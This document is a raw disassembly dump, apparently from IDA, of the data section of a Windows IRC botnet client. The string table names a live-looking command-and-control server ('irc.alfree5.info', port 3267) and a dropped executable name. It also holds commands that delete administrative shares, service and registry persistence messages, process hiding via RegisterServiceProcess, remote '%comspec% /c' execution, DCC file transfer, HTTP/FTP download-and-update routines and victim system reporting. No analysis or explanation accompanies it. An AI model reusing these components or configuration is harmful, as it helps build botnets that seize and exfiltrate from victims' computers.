dd 43C0A0h, 0FFFFFFFFh, 43C0A8h, 0FFFFFFFFh, 43C0B0h, 0FFFFFFFFh
dd 43C0B8h, 2 dup(0)
dword_442140 dd 19930520h, 1Ah, 442160h, 5 dup(0) dd 0FFFFFFFFh, 43C0E0h, 0
dd offset loc_43C0EB
dd 1, 43C0F6h, 2, 43C101h, 3, 43C10Ch, 4, 43C117h, 5, 43C11Fh
dd 5, 43C12Ah, 5, 43C135h, 5, 43C143h, 5, 43C14Eh, 5, 43C159h
dd 5, 43C167h, 5, 43C172h, 5, 43C17Dh, 5, 43C188h, 5, 43C196h
dd 5, 43C1A1h, 5, 43C1ACh, 5, 43C1BAh, 5, 43C1C5h, 5, 43C1D0h
dd 5, 43C1DEh, 5, 43C1E9h, 5, 43C1F4h, 5, 43C1FFh, 6 dup(0)
dword_442248 dd 19930520h, 4, 442268h, 5 dup(0) dd 0FFFFFFFFh, 43C270h, 0
dd offset loc_43C278
dd 1, 43C283h, 2, 43C28Eh, 2 dup(0)
dword_442290 dd 19930520h, 4, 4422B0h, 5 dup(0) dd 0FFFFFFFFh, 43C2B0h, 0
dd offset loc_43C2B8
dd 1, 43C2C3h, 2, 43C2CEh, 2 dup(0)
dword_4422D8 dd 19930520h, 6, 4422F8h, 5 dup(0) dd 0FFFFFFFFh, 43C2F0h, 0
; ---------------------------------------------------------------------------
clc
retn 43h
; ---------------------------------------------------------------------------
dd 1, 43C303h, 2, 43C30Eh, 3, 43C319h, 4, 43C324h, 2 dup(0)
dword_442330 dd 19930520h, 6, 442350h, 5 dup(0) dd 0FFFFFFFFh, 43C350h, 0
; ---------------------------------------------------------------------------
pop eax
retn
; ---------------------------------------------------------------------------
dw 43h
dd 1, 43C363h, 2, 43C36Eh, 3, 43C379h, 4, 43C384h, 2 dup(0)
dword_442388 dd 19930520h, 6, 4423A8h, 5 dup(0) dd 0FFFFFFFFh, 43C3B0h, 0FFFFFFFFh, 43C3BBh, 0FFFFFFFFh
dd 43C3C6h, 2, 43C3D1h, 3, 43C3DCh, 2, 43C3E7h, 2 dup(0)
dword_4423E0 dd 19930520h, 3, 442400h, 5 dup(0) dd 0FFFFFFFFh, 43C410h, 0FFFFFFFFh, 43C418h, 0FFFFFFFFh
dd 43C420h, 2 dup(0)
dword_442420 dd 19930520h, 5, 442440h, 5 dup(0) dd 0FFFFFFFFh, 43C440h, 0FFFFFFFFh, 43C448h, 0FFFFFFFFh
dd 43C450h, 0FFFFFFFFh, 43C458h, 0FFFFFFFFh, 43C460h, 2 dup(0)
dword_442470 dd 19930520h, 0Ch, 442490h, 5 dup(0) dd 0FFFFFFFFh, 43C480h, 0
dd offset loc_43C488
dd 0FFFFFFFFh, 43C490h, 0FFFFFFFFh, 43C498h, 0FFFFFFFFh
dd 43C4A0h, 0FFFFFFFFh, 43C4A8h, 5, 43C4B0h, 0FFFFFFFFh
dd 43C4B8h, 0FFFFFFFFh, 43C4C0h, 0FFFFFFFFh, 43C4C8h, 0FFFFFFFFh
dd 43C4D0h, 0FFFFFFFFh, 43C4D8h, 4 dup(0)
dd 19930520h, 2, 442520h, 1, 442530h, 3 dup(0)
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 442548h, 4 dup(0)
dd offset loc_41EF2C
align 10h
dword_442560 dd 19930520h, 0Ah, 442580h, 5 dup(0) dd 0FFFFFFFFh, 43C520h, 0
dd offset loc_43C52B
dd 1, 43C536h, 2, 43C541h, 3, 43C54Ch, 3, 43C557h, 3, 43C562h
dd 3, 43C56Dh, 3, 43C578h, 3, 43C583h, 4 dup(0)
dword_4425E0 dd 19930520h, 2, 442600h, 5 dup(0) dd 0FFFFFFFFh, 43C5C0h, 0
dd offset loc_43C5C8
dd 2 dup(0)
dword_442618 dd 19930520h, 3, 442638h, 5 dup(0) dd 0FFFFFFFFh, 43C5E0h, 0FFFFFFFFh, 43C5EBh, 1, 43C5F6h
dd 2 dup(0)
dword_442658 dd 19930520h, 1, 442678h, 5 dup(0) dd 0FFFFFFFFh, 43C620h, 2 dup(0)
dword_442688 dd 19930520h, 2, 4426A8h, 5 dup(0) dd 0FFFFFFFFh, 43C640h, 0
dd offset loc_43C64B
align 10h
dword_4426C0 dd 19930520h, 16h, 4426E0h, 5 dup(0) dd 0FFFFFFFFh, 43C670h, 0
dd offset loc_43C67B
dd 0
dd offset loc_43C683
dd 0
dd offset loc_43C68B
dd 3, 43C693h, 4, 43C69Bh, 0
dd offset loc_43C6A3
dd 6, 43C6ABh, 7, 43C6B3h, 0
dd offset loc_43C6BB
dd 9, 43C6C3h, 0Ah, 43C6CBh, 0
dd offset loc_43C6D3
dd 0Ch, 43C6DBh, 0Dh, 43C6E3h, 0
dd offset loc_43C6EB
dd 0Fh, 43C6F3h, 0
dd offset loc_43C6FB
dd 11h, 43C703h, 0
dd offset loc_43C70B
dd 13h, 43C713h, 13h, 43C71Bh, 6 dup(0)
dword_4427A8 dd 19930520h, 1, 4427C8h, 5 dup(0) dd 0FFFFFFFFh, 43C760h, 2 dup(0)
dword_4427D8 dd 19930520h, 1, 4427F8h, 5 dup(0) dd 0FFFFFFFFh, 43C790h, 2 dup(0)
dword_442808 dd 19930520h, 5, 442828h, 5 dup(0) dd 0FFFFFFFFh, 43C7C0h, 0FFFFFFFFh, 43C7C8h, 0FFFFFFFFh
dd 43C7D0h, 0FFFFFFFFh, 43C7D8h, 0FFFFFFFFh, 43C7E0h, 2 dup(0)
dword_442858 dd 19930520h, 0Bh, 442878h, 5 dup(0) dd 0FFFFFFFFh, 43C800h, 0FFFFFFFFh, 43C80Bh, 0FFFFFFFFh
dd 43C821h, 0FFFFFFFFh, 43C82Ch, 0FFFFFFFFh, 43C837h, 0FFFFFFFFh
dd 43C842h, 0FFFFFFFFh, 43C84Dh, 0FFFFFFFFh, 43C858h, 0FFFFFFFFh
dd 43C863h, 0FFFFFFFFh, 43C86Eh, 0FFFFFFFFh, 43C816h, 4 dup(0)
dword_4428E0 dd 19930520h, 1, 442900h, 5 dup(0) dd 0FFFFFFFFh, 43C8B0h, 2 dup(0)
dword_442910 dd 19930520h, 5, 442930h, 5 dup(0) dd 0FFFFFFFFh, 43C8D0h, 0FFFFFFFFh, 43C8D8h, 0FFFFFFFFh
dd 43C8E0h, 0FFFFFFFFh, 43C8E8h, 0FFFFFFFFh, 43C8F0h, 2 dup(0)
dword_442960 dd 19930520h, 15h, 442980h, 5 dup(0) dd 0FFFFFFFFh, 43C910h, 0FFFFFFFFh, 43C91Bh, 0FFFFFFFFh
dd 43C923h, 0FFFFFFFFh, 43C92Bh, 0FFFFFFFFh, 43C933h, 0FFFFFFFFh
dd 43C93Bh, 0FFFFFFFFh, 43C946h, 0FFFFFFFFh, 43C94Eh, 0FFFFFFFFh
dd 43C956h, 0FFFFFFFFh, 43C95Eh, 0FFFFFFFFh, 43C966h, 0FFFFFFFFh
dd 43C971h, 0FFFFFFFFh, 43C979h, 0FFFFFFFFh, 43C981h, 0FFFFFFFFh
dd 43C989h, 0FFFFFFFFh, 43C991h, 0FFFFFFFFh, 43C99Ch, 0FFFFFFFFh
dd 43C9A4h, 0FFFFFFFFh, 43C9ACh, 0FFFFFFFFh, 43C9B4h, 0FFFFFFFFh
dd 43C9BCh, 6 dup(0)
dword_442A40 dd 19930520h, 1, 442A60h, 5 dup(0) dd 0FFFFFFFFh, 43CA00h, 2 dup(0)
dword_442A70 dd 19930520h, 5, 442A90h, 5 dup(0) dd 0FFFFFFFFh, 43CA20h, 0
dd offset loc_43CA28
dd 1, 43CA33h, 2, 43CA3Eh, 3, 43CA49h, 2 dup(0)
dword_442AC0 dd 19930520h, 5, 442AE0h, 5 dup(0) dd 0FFFFFFFFh, 43CA70h, 0
dd offset loc_43CA78
dd 1, 43CA83h, 2, 43CA8Eh, 3, 43CA99h, 2 dup(0)
dword_442B10 dd 19930520h, 1, 442B30h, 5 dup(0) dd 0FFFFFFFFh, 43CAC0h, 2 dup(0)
dword_442B40 dd 19930520h, 1, 442B60h, 5 dup(0) dd 0FFFFFFFFh, 43CAE0h, 2 dup(0)
dword_442B70 dd 19930520h, 1, 442B90h, 5 dup(0) dd 0FFFFFFFFh, 43CB00h, 2 dup(0)
dword_442BA0 dd 19930520h, 1, 442BC0h, 5 dup(0) dd 0FFFFFFFFh, 43CB20h, 2 dup(0)
dword_442BD0 dd 19930520h, 1, 442BF0h, 5 dup(0) dd 0FFFFFFFFh, 43CB40h, 2 dup(0)
dword_442C00 dd 19930520h, 1, 442C20h, 5 dup(0) dd 0FFFFFFFFh, 43CB60h, 2 dup(0)
dword_442C30 dd 19930520h, 1, 442C50h, 5 dup(0) dd 0FFFFFFFFh, 43CB80h, 2 dup(0)
dword_442C60 dd 19930520h, 1, 442C80h, 5 dup(0) dd 0FFFFFFFFh, 43CBA0h, 2 dup(0)
dword_442C90 dd 19930520h, 6, 442CB0h, 5 dup(0) dd 0FFFFFFFFh, 43CBC0h, 0
dd offset loc_43CBC8
dd 1, 43CBD3h, 2, 43CBDEh, 3, 43CBE9h, 4, 43CBF4h, 2 dup(0)
dword_442CE8 dd 19930520h, 6, 442D08h, 5 dup(0) dd 0FFFFFFFFh, 43CC20h, 0
dd offset loc_43CC28
dd 1, 43CC33h, 2, 43CC3Eh, 3, 43CC49h, 4, 43CC54h, 2 dup(0)
dword_442D40 dd 19930520h, 3, 442D60h, 5 dup(0) dd 0FFFFFFFFh, 43CC80h, 0
dd offset loc_43CC88
dd 1, 43CC96h, 2 dup(0)
dword_442D80 dd 19930520h, 16h, 442DA0h, 5 dup(0) dd 0FFFFFFFFh, 43CCC0h, 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
align 2
dw 43h
dd 1, 43CCD6h, 2, 43CCE1h, 2, 43CCECh, 2, 43CCF7h, 2, 43CD02h
dd 6, 43CD0Dh, 2, 43CD18h, 8, 43CD23h, 2, 43CD2Eh, 0Ah
dd 43CD39h, 2, 43CD44h, 0Ch, 43CD4Fh, 0Dh, 43CD5Ah, 0Eh
dd 43CD65h, 0Fh, 43CD70h, 0Fh, 43CD7Bh, 0Fh, 43CD86h, 0Fh
dd 43CD91h, 0Fh, 43CD9Ch, 0Fh, 43CDA7h, 6 dup(0)
dword_442E68 dd 19930520h, 1, 442E88h, 5 dup(0) dd 0FFFFFFFFh, 43CE00h, 2 dup(0)
dword_442E98 dd 19930520h, 1, 442EB8h, 5 dup(0) dd 0FFFFFFFFh, 43CE20h, 2 dup(0)
dword_442EC8 dd 19930520h, 1, 442EE8h, 5 dup(0) dd 0FFFFFFFFh, 43CE40h, 2 dup(0)
dword_442EF8 dd 19930520h, 1, 442F18h, 5 dup(0) dd 0FFFFFFFFh, 43CE60h, 2 dup(0)
dword_442F28 dd 19930520h, 1, 442F48h, 5 dup(0) dd 0FFFFFFFFh, 43CE80h, 2 dup(0)
dword_442F58 dd 19930520h, 2, 442F78h, 1, 442F88h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 442FA0h, 4 dup(0)
dd offset loc_42C244
dd 2 dup(0)
dword_442FB8 dd 19930520h, 2, 442FD8h, 1, 442FE8h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 443000h, 4 dup(0)
dd offset loc_42C321
dd 2 dup(0)
dword_443018 dd 19930520h, 3, 443038h, 5 dup(0) dd 0FFFFFFFFh, 43CEC0h, 0
dd offset loc_43CEC8
dd 1, 43CED0h, 2 dup(0)
dword_443058 dd 19930520h, 1, 443078h, 5 dup(0) dd 0FFFFFFFFh, 43CF00h, 2 dup(0)
dword_443088 dd 19930520h, 1, 4430A8h, 5 dup(0) dd 0FFFFFFFFh, 43CF20h, 2 dup(0)
dword_4430B8 dd 19930520h, 1, 4430D8h, 5 dup(0) dd 0FFFFFFFFh, 43CF40h, 2 dup(0)
dword_4430E8 dd 19930520h, 1, 443108h, 5 dup(0) dd 0FFFFFFFFh, 43CF60h, 2 dup(0)
dword_443118 dd 19930520h, 1, 443138h, 5 dup(0) dd 0FFFFFFFFh, 43CF80h, 2 dup(0)
dword_443148 dd 19930520h, 6, 443168h, 5 dup(0) dd 0FFFFFFFFh, 43CFA0h, 0FFFFFFFFh, 43CFA8h, 0FFFFFFFFh
dd 43CFB0h, 0FFFFFFFFh, 43CFB8h, 0FFFFFFFFh, 43CFC0h, 0FFFFFFFFh
dd 43CFC8h, 2 dup(0)
dword_4431A0 dd 19930520h, 16h, 4431C0h, 5 dup(0) dd 0FFFFFFFFh, 43CFF0h, 0FFFFFFFFh, 43CFFBh, 0FFFFFFFFh
dd 43D003h, 0FFFFFFFFh, 43D00Bh, 0FFFFFFFFh, 43D013h, 0FFFFFFFFh
dd 43D01Eh, 0FFFFFFFFh, 43D026h, 0FFFFFFFFh, 43D02Eh, 0FFFFFFFFh
dd 43D036h, 0FFFFFFFFh, 43D041h, 0FFFFFFFFh, 43D049h, 0FFFFFFFFh
dd 43D051h, 0FFFFFFFFh, 43D05Ch, 0FFFFFFFFh, 43D064h, 0Dh
dd 43D06Ch, 0Eh, 43D074h, 0Eh, 43D07Ch, 0Eh, 43D084h, 0Eh
dd 43D08Ch, 12h, 43D094h, 13h, 43D09Ch, 0Eh, 43D09Ch, 6 dup(0)
dword_443288 dd 19930520h, 2, 4432A8h, 5 dup(0) dd 0FFFFFFFFh, 43D0E0h, 0FFFFFFFFh, 43D0E8h, 2 dup(0)
dword_4432C0 dd 19930520h, 2, 4432E0h, 5 dup(0) dd 0FFFFFFFFh, 43D100h, 0
dd offset loc_43D10B
dd 2 dup(0)
dword_4432F8 dd 19930520h, 1, 443318h, 5 dup(0) dd 0FFFFFFFFh, 43D130h, 2 dup(0)
dword_443328 dd 19930520h, 2, 443348h, 5 dup(0) dd 0FFFFFFFFh, 43D150h, 0FFFFFFFFh, 43D158h, 2 dup(0)
dword_443360 dd 19930520h, 0Ah, 443380h, 5 dup(0) dd 0FFFFFFFFh, 43D170h, 0FFFFFFFFh, 43D17Bh, 0FFFFFFFFh
dd 43D186h, 0FFFFFFFFh, 43D191h, 0FFFFFFFFh, 43D19Ch, 0FFFFFFFFh
dd 43D1A7h, 0FFFFFFFFh, 43D1B2h, 0FFFFFFFFh, 43D1BDh, 0FFFFFFFFh
dd 43D1C8h, 0FFFFFFFFh, 43D1D3h, 34Dh dup(0)
dd offset aRrrrrrrrrrrrrr+1Fh
dd offset aRrrrrrrrrr+7Ah
dd 105h dup(0)
aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
; DATA XREF: sub_403530+7Fo
db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
align 4
dd 8 dup(0)
asc_4445EC: ; DATA XREF: sub_403530+66o
; sub_410030:loc_41090Eo ...
unicode 0, <|>,0
aS db '%s',0 ; DATA XREF: sub_404CC0+86Fo
; sub_404CC0+AEBo ...
align 4
aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_404CC0+82Bo
; sub_404CC0+B58o ...
align 10h
asc_444600: ; DATA XREF: sub_404690:loc_40476Fo
; sub_404690+1EDo ...
unicode 0, < >,0
aO db ' -o',0 ; DATA XREF: sub_404690+75o
; sub_410030:loc_410A19o ...
aNetShareAdminD db 'net share admin$ /delete /y',0
dd 2 dup(0)
aNetShareIpcDel db 'net share ipc$ /delete /y',0
align 4
dd 0
aNetShareDDelet db 'net share d$ /delete /y',0
align 8
aNetShareCDelet db 'net share c$ /delete /y',0
dd 0
dword_444684 dd 255C7325h, 73h ; sub_40D040+DEo ...
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404CC0+D72o
align 8
aN: ; DATA XREF: sub_404CC0+D1Do
unicode 0, <N>,0
aExecutedS_ db 'Executed: %s.',0 ; DATA XREF: sub_404CC0+971o
align 4
aResolve_errorS db 'resolve.error %s.',0 ; DATA XREF: sub_404CC0+75Co
align 10h
dd 0
aSS_1 db '%s -> %s',0 ; DATA XREF: sub_404CC0+6CFo
align 10h
aSResolvedS db '%s resolved %s',0 ; DATA XREF: sub_404CC0+610o
align 10h
dd 0
aOpen db 'open',0 ; DATA XREF: sub_404CC0+444o
; sub_41C130+Eo
align 4
aExec_error db 'exec.error',0 ; DATA XREF: sub_404CC0+1A3o
; sub_404CC0+9ABo ...
align 4
dd 0
aUpDdDhDm db 'up: %dd %dh %dm',0 ; DATA XREF: sub_406730+C3o
align 10h
aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
; DATA XREF: sub_4068E0+20Fo
db 'me: %dd %dh %dm box: %s. user: %s.',0
dd 5 dup(0)
aSS_2 db '%s [%s]',0 ; DATA XREF: sub_4068E0+125o
dd 0
a??? db '???',0 ; DATA XREF: sub_4068E0:loc_4069DBo
a2003 db '2003',0 ; DATA XREF: sub_4068E0+F4o
align 10h
aXp db 'XP',0 ; DATA XREF: sub_4068E0+EAo
align 4
a2000 db '2000',0 ; DATA XREF: sub_4068E0+DEo
align 4
aMe db 'ME',0 ; DATA XREF: sub_4068E0+C7o
align 10h
a98 db '98',0 ; DATA XREF: sub_4068E0+BBo
align 4
aNt db 'NT',0 ; DATA XREF: sub_4068E0+AFo
align 4
a95 db '95',0 ; DATA XREF: sub_4068E0+9Co
align 4
aBai db '-bai',0 ; DATA XREF: ___:loc_406E3Do
; ___:00406E85o
align 4
aNetsvcs db '-netsvcs',0 ; DATA XREF: ___:loc_406E00o
; sub_40ED00+88o
align 10h
aUpdate db '-update',0 ; DATA XREF: ___:00406DC3o
dd 0
dword_4447EC dd 6265642Dh, 6775hdword_4447F4 dd 6425h ; ___:004087A0o ...
dword_4447F8 dd 2Eh ; ___:0041B2DAo ...
aMicrosoftVisua db 'MicroSoft Visual SP0',0 ; DATA XREF: sub_4077E0+403o
align 8
aEvil db 'evil',0 ; DATA XREF: sub_4077E0+3F2o
align 10h
aFeeling_nasty db 'feeling.nasty',0 ; DATA XREF: sub_4077E0+3E1o
align 10h
aSet db 'set',0 ; DATA XREF: sub_4077E0+359o
asc_444834 db 'X-',0 ; DATA XREF: sub_4077E0+348o
align 4
aAyssds4ddklfsd db 'ayssds4ddklfsdfssas',0 ; DATA XREF: sub_4077E0+337o
align 10h
aIgfsfdfsd32ss_ db 'igfsfdfsd32ss.exe',0 ; DATA XREF: sub_4077E0+326o
align 8
aXkey db 'Xkey',0 ; DATA XREF: sub_4077E0+318o
align 10h
aFor db '##for',0 ; DATA XREF: sub_4077E0+307o
align 4
aFor_0 db '##for##',0 ; DATA XREF: sub_4077E0+2F6o
dd 0
a3267 db '3267',0 ; DATA XREF: sub_4077E0+29Bo
align 4
aIrc_alfree5_in db 'irc.alfree5.info',0 ; DATA XREF: sub_4077E0+283o
align 10h
off_4448A0 dd offset off_43F1D4 ; DATA XREF: ___:00440014o
align 8
a_?avexception@ db '.?AVexception@@',0
align 10h
off_4448C0 dd offset off_43F1D4 ; DATA XREF: ___:00440034o
align 8
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 10h
dd 2 dup(0)
off_4448E8 dd offset off_43F1D4 ; DATA XREF: ___:00440054o
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 10h
aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409660+21o
; ___:0040AA51o
dd 2 dup(0)
aTrue db 'true',0 ; DATA XREF: sub_40B760+3Fo
; sub_40B7E0+43o ...
align 4
aF db '%f',0 ; DATA XREF: ___:0040B87Fo
align 10h
aFalse db 'false',0 ; DATA XREF: ___:0040B924o
align 4
aSSWasS db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BC3Ao
align 10h
dd 0
aSS_5 db '%s = "%s"',0 ; DATA XREF: ___:0040BB57o
align 10h
aDSSS db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA91o
dd 0
aCvar db '(cvar)',0 ; DATA XREF: ___:0040BA04o
align 4
aDccSocketError db 'dcc: socket error',0 ; DATA XREF: sub_40C4E0+52Ao
align 4
dd 0
aDccCompleteToS db 'dcc: complete to %s, file: %s, (%d bytes)',0
; DATA XREF: sub_40C4E0+48Ao
align 10h
aDccUnableToOpe db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C4E0+377o
align 10h
aDccTimeout db 'dcc: timeout',0 ; DATA XREF: sub_40C4E0+327o
align 10h
dword_444A10 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_40C4E0+296o
dd 169h, 0
aDccFileDoesn_0 db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C4E0+230o
align 4
dd 0
aDccFileDoesnTE db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C4E0+218o
align 8
aDccFailedToOpe db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C4E0+1BBo
align 8
aDccFailedToBin db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C4E0+110o
align 8
aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C4E0+B8o
align 10h
aFilesFoundD db 'Files Found: %d',0 ; DATA XREF: sub_40CC90+1B1o
dd 0
asc_444AE4: ; DATA XREF: sub_40CC90+113o
; sub_4201F0+100o
unicode 0, <\>,0
aFoundSS db 'Found: %s\%s',0 ; DATA XREF: sub_40D040+115o
align 4
aS_1 db '%s\*',0 ; DATA XREF: sub_40D040+1Fo
align 10h
aExplorer_exe db '\explorer.exe',0 ; DATA XREF: ___:0040D559o
align 10h
aBai_0 db ' -bai ',0
align 4
aSCS db '%s%c%s',0
align 10h
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40D660+D1o
align 10h
aProcess32first db 'Process32First',0 ; DATA XREF: sub_40D660+C4o
align 10h
dd 0
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D660+B7o
align 10h
dd 0
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D660+AFo
align 10h
aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40D660+98o
align 10h
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DC20+4D3o
align 4
dd 0
aSSSSSSSSSS db '%s',0Dh,0Ah ; DATA XREF: sub_40DC20+37Co
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,'%s',0Dh,0Ah
db '%s',0Dh,'%s',0Dh,0Ah,0
align 4
dd 2 dup(0)
aSS_4 db '"%s" %s',0 ; DATA XREF: sub_40EE40+6Ao
align 8
aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_40EE40+21o
; sub_40F060+Ao ...
align 4
dd 0
aServDelS_ db 'serv(del) "%s".',0 ; DATA XREF: ___:0040F511o
align 10h
aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F454o
align 10h
dd 0
aRegDelS_ db 'reg(del) "%s".',0 ; DATA XREF: ___:0040F359o
align 8
aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F2ADo
align 10h
dd 0
asc_444C64 db ' :',0 ; DATA XREF: sub_410030+E2Bo
; sub_410030+1118o ...
align 4
asc_444C68: ; DATA XREF: sub_410030+CACo
; sub_410030+D15o ...
unicode 0, <!>,0
aN_0 db ' -n',0 ; DATA XREF: sub_410030:loc_4109F8o
; sub_410030:loc_410C87o
aS_2 db ' -s',0 ; DATA XREF: sub_410030:loc_4109CFo
; sub_410030:loc_410C66o
asc_444C74: ; DATA XREF: sub_410030+871o
; sub_410030:loc_410CA8o ...
unicode 0, <:>,0
a@: ; DATA XREF: sub_410030+7CCo
; sub_410030+D2Do ...
unicode 0, <@>,0
aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_410030+65Do
; sub_410030+732o ...
align 4
dd 0
aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_410030+355o
db '%s %s 0 0 :%s',0Dh,0Ah,0
align 8
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_410030+2C4o
; sub_412780+91o ...
align 8
aSSSS db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+4E3o
align 4
aS_3 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+386o
; sub_426070+12Do ...
align 10h
aSSS_1 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+CBo
; sub_412A40+8Fo
align 10h
aPublic db '[PUBLIC]',0 ; DATA XREF: sub_412780:loc_41288Bo
align 4
aPrivate db '[PRIVATE]',0 ; DATA XREF: sub_412780+104o
align 4
a_ db '. ',0 ; DATA XREF: sub_412780+CAo
; sub_412780+E5o
align 4
aLan db 'lan: ',0 ; DATA XREF: sub_412780+AEo
align 4
aUptime db 'uptime',0 ; DATA XREF: ___:loc_412FF7o
align 4
aHost db 'host',0 ; DATA XREF: ___:loc_412FA4o
align 4
aId db 'id',0 ; DATA XREF: ___:loc_412F4Ao
align 4
asc_444D18: ; DATA XREF: ___:loc_412F33o
dw 3Ch
unicode 0, <>,0
asc_444D1C: ; DATA XREF: ___:loc_412F1Co
dw 3Eh
unicode 0, <>,0
asc_444D20 db '==',0 ; DATA XREF: ___:loc_412F05o
align 4
asc_444D24 db '!=',0 ; DATA XREF: ___:00412EF1o
align 4
a2_2x db '%2.2X',0 ; DATA XREF: sub_4138B0+B7o
align 10h
aSS_6 db '%s: %s',0 ; DATA XREF: sub_4193C0+30Fo
align 4
aSD_0 db '%s: %d',0 ; DATA XREF: sub_4193C0+2E7o
align 10h
aSD_1 db '%s:%d',0 ; DATA XREF: sub_4193C0+272o
; sub_4193C0+29Bo
align 4
aListening db 'listening',0 ; DATA XREF: sub_4193C0+210o
align 4
aEstablished db 'established',0 ; DATA XREF: sub_4193C0+205o
dd 0
off_444D64 dd offset dword_504354 ; DATA XREF: sub_4193C0+140o
; ___:0042C5F2o ...
dword_444D68 dd 2D464544h, 504354h, 0 ; sub_4193C0+12Eo
dword_444D74 dd 652Dh dword_444D78 dd 6C2Dh a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419BE0+82o
align 10h
dd 0
aSS_3 db '%s%s',0 ; DATA XREF: ___:00419DF1o
align 4
aSSS db '%s%s%s',0 ; DATA XREF: ___:00419DCCo
align 4
byte_444DB4 db 1 ; DATA XREF: sub_41A390r
align 4
dword_444DB8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------
loc_444E04: ; DATA XREF: ___:00421859o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_444E18 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_444E2C dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_444E64 dd 63257325h, 0 ; sub_41F960+E5o
dword_444E6C dd 72h dword_444E70 dd 30h ; sub_424920+327o
dword_444E74 dd 3039h dword_444E78 dd 383631h dword_444E7C dd 323931h dword_444E80 dd 3631h dword_444E84 dd 323731h dword_444E88 dd 3031h off_444E8C dd offset dword_5C005C ; DATA XREF: ___:0041C217r
; ___:0041C387r
word_444E90 dw 0 ; DATA XREF: ___:0041C221r
; ___:0041C391r
align 4
off_444E94 dd offset dword_49005C ; DATA XREF: ___:0041C1E6r
; ___:0041C356r
off_444E98 dd offset loc_43004E+2 ; DATA XREF: ___:0041C1EBr
; ___:0041C35Br
dword_444E9C dd 24h ; ___:0041C37Fr
dd 0
aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D930+5F5o
align 4
aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41D930+5BAo
align 4
aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41D930+567o
align 8
asc_444ED8 db 0Dh,0Ah ; DATA XREF: sub_41D930+48Fo
db 0Dh,0Ah,0
align 10h
aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41D930+3F1o
align 10h
aWb db 'wb',0 ; DATA XREF: sub_41D930+3C0o
; ___:0041FD87o
align 4
aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41D930+3AFo
align 4
aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D930+36Do
db 'Connection: Keep-Alive',0Dh,0Ah
db 'User-Agent: Mozilla/4.5',0Dh,0Ah
db 'Host: %s:%d',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dd 4 dup(0)
aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41D930+327o
align 4
aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41D930+2A3o
align 4
dd 0
aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41D930+25Ao
align 4
aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41D930+224o
align 4
aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41D930+1CEo
align 10h
